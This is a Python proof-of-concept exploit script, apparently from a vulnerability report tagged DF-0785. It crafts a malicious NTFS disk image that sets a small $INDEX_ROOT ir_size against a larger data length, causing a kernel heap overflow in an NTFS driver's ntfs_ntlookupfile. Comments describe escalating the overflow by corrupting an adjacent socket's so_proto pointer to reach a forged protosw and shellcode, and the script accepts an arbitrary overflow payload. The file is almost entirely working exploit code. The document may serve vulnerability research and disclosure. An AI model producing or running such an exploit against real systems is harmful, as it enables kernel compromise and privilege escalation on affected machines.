DF-0785 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 | #!/usr/bin/env python3 """ DF-0785 NTFS image crafter. Builds a minimal, mountable NTFS filesystem image from scratch (no mkntfs / ntfs-3g needed) and poisons the root directory's resident $INDEX_ROOT (type 0x90, "$I30") so that the in-record `ir_size` field is SMALLER than the attribute's resident data length (va_datalen). In ntfs_ntlookupfile (sys/vfs/ntfs/ntfs_subr.c): blsize = vap->va_a_iroot->ir_size; // :867 <-- allocation size rdsize = vap->va_datalen; // :868 <-- copy size ... rdbuf = kmalloc(blsize, M_TEMP, M_WAITOK); // :888 error = ntfs_readattr(ntmp, ip, NTFS_A_INDXROOT, "$I30", 0, rdsize, rdbuf, NULL); // :890-891 There is NO check that rdsize <= blsize. When ir_size < va_datalen, the ntfs_readattr -> memcpy writes `rdsize` attacker-controlled bytes (the resident $INDEX_ROOT data we craft here) into a `blsize`-byte heap object -> kernel heap overflow. Compare the sibling reader ntfs_ntreaddir (:1105) which DOES size correctly: kmalloc(max(vap->va_datalen, fp->f_dirblsz), M_NTFSDIR, M_WAITOK); The image only needs to be valid enough for mount_ntfs() to succeed and for a single name lookup (stat /mnt/anything, i.e. a non-"." non-".." component) to reach ntfs_ntlookupfile. The mount path (ntfs_mountfs) requires boot-sector sysid "NTFS ", valid BPB, and loadable MFT records for system inodes $MFT(0), $AttrDef(4), $Root(5), $Bitmap(6) and $UpCase(10). Geometry (standard NTFS): bps=512, spc=8 (4096-byte cluster), mftrecsz=0xF6 => MFT record = 2 sectors = 1024 bytes. Usage: craft_img.py [out.img] [ir_size] [va_datalen] defaults: out.img ntfs_evil.img, ir_size=16, va_datalen=200 """ import struct import sys # ---- geometry ---- BPS = 512 # bytes per sector SPC = 8 # sectors per cluster -> cluster = 4096 CLU = BPS * SPC # 4096 MFTRECSZ = 0xF6 # -10 => record = 2**10 = 1024 bytes, bpmftrec=2 sect RECSZ = 1024 # MFT record size in bytes NCLUSTERS = 128 # volume size in clusters (512 KB) MFTCN = 2 # $MFT starts at cluster 2 # Record i is at byte MFTCN*CLU + i*RECSZ (since bpmftrec*bps = 1024 = RECSZ) UPCASE_CN = 34 # cluster where $UpCase non-resident data lives UPCASE_NCLU = 32 # 32 * 4096 = 131072 = 65536 * sizeof(wchar) FILE_MAGIC = 0x454C4946 # "FILE" FIXUP_OFF = 0x30 # fh_foff: fixup array lives at record offset 48 FIXUP_VAL = 0xA001 # arbitrary signature stamped at sector ends # ---- NTFS attribute type constants ---- A_STD, A_NAME, A_DATA, A_INDXROOT = 0x10, 0x30, 0x80, 0x90 def le16(v): return struct.pack("<H", v & 0xFFFF) def le32(v): return struct.pack("<I", v & 0xFFFFFFFF) def le64(v): return struct.pack("<Q", v & 0xFFFFFFFFFFFFFFFF) def boot_sector(): """struct bootfile (packed) + standard NTFS BPB filler.""" b = bytearray(BPS) b[0:3] = b"\xEB\x52\x90" # jmp near b[3:11] = b"NTFS " # bf_sysid struct.pack_into("<H", b, 11, BPS) # bf_bps b[13] = SPC # bf_spc b[21] = 0xF8 # bf_media struct.pack_into("<H", b, 24, 32) # bf_spt struct.pack_into("<H", b, 26, 2) # bf_heads struct.pack_into("<Q", b, 40, NCLUSTERS * SPC) # bf_spv (sectors) struct.pack_into("<Q", b, 48, MFTCN) # bf_mftcn struct.pack_into("<Q", b, 56, 64) # bf_mftmirrcn (unused) b[64] = MFTRECSZ # bf_mftrecsz struct.pack_into("<I", b, 65, 4096) # bf_ibsz struct.pack_into("<I", b, 69, 0xDEADBEEF) # bf_volsn return bytes(b) def resident_attr(atype, datalen, data, name="", reclen_pad=8): """Build a resident attribute record (struct attr, packed). Layout: attrhdr(16) + resident fields(8) + name(namelen*2) + data. nameoff -> just after the 24-byte header; dataoff -> after the name. """ wname = name.encode("utf-16-le") if name else b"" namelen = len(name) # number of wchars nameoff = 0x18 # 24 dataoff = nameoff + len(wname) reclen = dataoff + datalen reclen = (reclen + reclen_pad - 1) & ~(reclen_pad - 1) buf = bytearray(reclen) # attrhdr struct.pack_into("<I", buf, 0, atype) # a_type struct.pack_into("<I", buf, 4, reclen) # a_hdr.reclen buf[8] = 0 # a_flag (resident) buf[9] = namelen # a_namelen buf[10] = nameoff & 0xFF # a_nameoff buf[11] = 0 # reserved1 buf[12] = 0 # a_compression buf[13] = 0 # reserved2 struct.pack_into("<H", buf, 14, 0) # a_index # resident fields (a_S_r) at offset 16 struct.pack_into("<H", buf, 16, datalen) # a_datalen struct.pack_into("<H", buf, 18, 0) # reserved1 struct.pack_into("<H", buf, 20, dataoff) # a_dataoff struct.pack_into("<H", buf, 22, 0) # a_indexed # name + data buf[nameoff:dataoff] = wname buf[dataoff:dataoff + len(data)] = data[:datalen] return bytes(buf) def nonresident_data_attr(runs_bytes, allocated, datalen): """Build a non-resident $DATA attribute (no name).""" dataoff = 0x40 # 64 reclen = dataoff + len(runs_bytes) reclen = (reclen + 7) & ~7 buf = bytearray(reclen) struct.pack_into("<I", buf, 0, A_DATA) struct.pack_into("<I", buf, 4, reclen) buf[8] = 0x01 # a_flag = NTFS_AF_INRUN (non-resident) buf[9] = 0 # namelen buf[10] = dataoff & 0xFF # nameoff # non-resident fields at offset 16 struct.pack_into("<Q", buf, 16, 0) # vcnstart ncu = datalen // CLU struct.pack_into("<Q", buf, 24, ncu - 1) # vcnend (cluster-indexed) struct.pack_into("<H", buf, 32, dataoff) # a_dataoff struct.pack_into("<H", buf, 34, 0) # compressalg struct.pack_into("<I", buf, 36, 0) # reserved1 struct.pack_into("<Q", buf, 40, allocated) # allocated struct.pack_into("<Q", buf, 48, datalen) # datalen struct.pack_into("<Q", buf, 56, datalen) # initialized buf[dataoff:dataoff + len(runs_bytes)] = runs_bytes return bytes(buf) def term_attr(): b = bytearray(8) struct.pack_into("<I", b, 0, 0xFFFFFFFF) # a_type == -1 ends attr list return bytes(b) def mft_record(seqnum, nlink, flags, attrs_bytes): """Assemble a 1024-byte FILE record with valid fixups + attribute list.""" rec = bytearray(RECSZ) # fixuphdr struct.pack_into("<I", rec, 0, FILE_MAGIC) struct.pack_into("<H", rec, 4, FIXUP_OFF) # fh_foff struct.pack_into("<H", rec, 6, RECSZ // BPS + 1) # fh_fnum = 3 # filerec body struct.pack_into("<H", rec, 16, seqnum) # fr_seqnum struct.pack_into("<H", rec, 18, nlink) # fr_nlink attroff = 0x38 # 56 struct.pack_into("<H", rec, 20, attroff) # fr_attroff struct.pack_into("<H", rec, 22, flags) # fr_flags used = attroff + len(attrs_bytes) struct.pack_into("<I", rec, 24, used) # fr_size struct.pack_into("<I", rec, 28, RECSZ) # fr_allocated struct.pack_into("<Q", rec, 32, 0) # fr_mainrec struct.pack_into("<H", rec, 40, 0) # fr_attrnum # fixup array at FIXUP_OFF: [value, e1, e2] (lives in the header region, # before attroff, so it never overlaps attribute data) struct.pack_into("<HHH", rec, FIXUP_OFF, FIXUP_VAL, FIXUP_VAL, FIXUP_VAL) # attributes first (large resident attrs can reach sector boundary 510) rec[attroff:attroff + len(attrs_bytes)] = attrs_bytes # stamp sector-end signatures LAST so procfixups accepts them even where # resident attribute data crosses the 510/1022 boundary (the stamp must # equal FIXUP_VAL; ntfs_procfixups then overwrites it with array[1]). struct.pack_into("<H", rec, BPS - 2, FIXUP_VAL) # offset 510 struct.pack_into("<H", rec, RECSZ - 2, FIXUP_VAL) # offset 1022 return bytes(rec) def index_root_data(ir_size, datalen, overflow_payload=None): """Resident $INDEX_ROOT data: attr_indexroot header (32 B) + an entry region. The header's ir_size is the EVIL field (small / chosen allocation size). va_datalen (set by the resident attribute wrapper) is the larger copy length. Layout of the resident data buffer (== what ntfs_readattr memcpy's into rdbuf): [0 .. 31] attr_indexroot header (ir_size etc.) [32 .. datalen-1] index-entry region (attacker-controlled) The kmalloc'd rdbuf is `ir_size` bytes; bytes [ir_size .. datalen-1] are the OVERFLOW into the next slab chunk (the victim object). For the DF-0785 escalation we seat rdbuf in zone 34 (ir_size=704, same zone as struct socket) and write a 24-byte payload at data[704..727] which lands in the victim socket's so_type..so_proto fields (so_proto -> forged protosw -> shellcode). overflow_payload (bytes): if given, written at data[ir_size : ir_size+len]. """ hdr = bytearray(32) struct.pack_into("<I", hdr, 0, 0x30) # ir_unkn1 struct.pack_into("<I", hdr, 4, 0x01) # ir_unkn2 struct.pack_into("<I", hdr, 8, ir_size) # ir_size <-- ALLOC size struct.pack_into("<I", hdr, 12, 1) # ir_unkn3 (clusters/idxblk) struct.pack_into("<I", hdr, 16, 0x10) # ir_unkn4 struct.pack_into("<I", hdr, 20, datalen - 32) # ir_datalen (entries size) struct.pack_into("<I", hdr, 24, datalen - 32) # ir_allocated struct.pack_into("<H", hdr, 28, 0x01) # ir_flag (no INDXALLOC) struct.pack_into("<H", hdr, 30, 0x00) # ir_unkn7 # A single "last" index entry so the scan loop terminates immediately and # ntfs_ntlookupfile returns ENOENT cleanly. This isolates the bug to the # ntfs_readattr memcpy (the OOB WRITE): the loop does not complicate the # demonstration. The overflow has already happened by the time the loop runs. entry = bytearray(datalen - 32) struct.pack_into("<I", entry, 16, 0x00000002) # ie_flag = NTFS_IEFLAG_LAST struct.pack_into("<H", entry, 8, len(entry)) # reclen = rest of data # Fill the attacker-controlled overflow bytes with a recognisable pattern so # the corruption extent is visible in a slab-region hex dump. for i in range(82, len(entry) - 4, 4): entry[i:i+4] = struct.pack("<I", 0x41424344) # "DCBA" # Place the escalation overflow payload at data[ir_size : ir_size+len], # i.e. entry[(ir_size-32) : (ir_size-32)+len] -- the bytes that overflow # into the victim object (the next slab chunk in the same zone page). if overflow_payload is not None: off = ir_size - 32 # offset within entry if off < 0 or off + len(overflow_payload) > len(entry): raise ValueError("overflow payload does not fit in entry region") entry[off:off + len(overflow_payload)] = overflow_payload return bytes(hdr) + bytes(entry) def attrdef_data(): """$AttrDef $DATA: one valid entry + a zero terminator (2 * 160 B).""" e0 = bytearray(160) name = "$STANDARD_INFORMATION" for i, ch in enumerate(name): struct.pack_into("<H", e0, i * 2, ord(ch)) struct.pack_into("<I", e0, 128, A_STD) # ad_type e1 = bytearray(160) # all-zero terminator return bytes(e0) + bytes(e1) def upcase_table(): """65536 wchars identity lower->upper (content irrelevant for the trigger).""" return b"".join(struct.pack("<H", i) for i in range(65536)) def runs_encode(cluster, length): """Minimal single-run encoding: header 0x11, len, off, 0x00 terminator.""" return bytes([0x11, length & 0xFF, cluster & 0x7F, 0x00]) def build(out_path, ir_size, va_datalen, overflow_payload=None): img = bytearray(NCLUSTERS * CLU) img[0:BPS] = boot_sector() # --- MFT record 0: $MFT, regular file w/ tiny resident $DATA --- rec0 = mft_record(1, 1, 0, resident_attr(A_DATA, 8, b"\x00" * 8) + term_attr()) off = MFTCN * CLU + 0 * RECSZ img[off:off + RECSZ] = rec0 # --- MFT record 4: $AttrDef, regular file w/ resident $DATA (320 B) --- ad = attrdef_data() rec4 = mft_record(1, 1, 0, resident_attr(A_DATA, len(ad), ad) + term_attr()) off = MFTCN * CLU + 4 * RECSZ img[off:off + RECSZ] = rec4 # --- MFT record 5: root directory "." (BUG TARGET) --- # resident $INDEX_ROOT "$I30" with ir_size < va_datalen iroot = index_root_data(ir_size, va_datalen, overflow_payload) idxroot_attr = resident_attr(A_INDXROOT, len(iroot), iroot, name="$I30") NTFS_FRFLAG_DIR = 0x0002 rec5 = mft_record(1, 1, NTFS_FRFLAG_DIR, idxroot_attr + term_attr()) off = MFTCN * CLU + 5 * RECSZ img[off:off + RECSZ] = rec5 # --- MFT record 6: $Bitmap, regular file w/ resident $DATA (16 B, all used) --- bmp = b"\xFF" * 16 rec6 = mft_record(1, 1, 0, resident_attr(A_DATA, len(bmp), bmp) + term_attr()) off = MFTCN * CLU + 6 * RECSZ img[off:off + RECSZ] = rec6 # --- MFT record 10: $UpCase, regular file w/ NON-RESIDENT $DATA (128 KB) --- runs = runs_encode(UPCASE_CN, UPCASE_NCLU) nr = nonresident_data_attr(runs, UPCASE_NCLU * CLU, UPCASE_NCLU * CLU) rec10 = mft_record(1, 1, 0, nr + term_attr()) off = MFTCN * CLU + 10 * RECSZ img[off:off + RECSZ] = rec10 # --- $UpCase data region at cluster UPCASE_CN --- uo = UPCASE_CN * CLU img[uo:uo + UPCASE_NCLU * CLU] = upcase_table() with open(out_path, "wb") as f: f.write(img) print(f"[+] wrote {out_path} ({len(img)} bytes)") print(f"[+] geometry: bps={BPS} spc={SPC} cluster={CLU} " f"mftrecsz=0x{MFTRECSZ:02X} mftrec={RECSZ} mftcn={MFTCN}") print(f"[+] root $INDEX_ROOT: ir_size(blsize/ALLOC)={ir_size} " f"va_datalen(rdsize/COPY)={va_datalen} " f"OVERFLOW = {va_datalen - ir_size} bytes past {ir_size}-byte object") print(f"[+] ir_size field @ root-record resident-data offset 8 " f"(byte {MFTCN*CLU + 5*RECSZ + 0x38 + 0x20 + 8} in image)") if __name__ == "__main__": out = sys.argv[1] if len(sys.argv) > 1 else "ntfs_evil.img" irsz = int(sys.argv[2]) if len(sys.argv) > 2 else 16 vdl = int(sys.argv[3]) if len(sys.argv) > 3 else 200 # optional: hex overflow payload (no 0x prefix), e.g. the so_proto hijack bytes ovf = None if len(sys.argv) > 4: ovf = bytes.fromhex(sys.argv[4]) build(out, irsz, vdl, ovf) |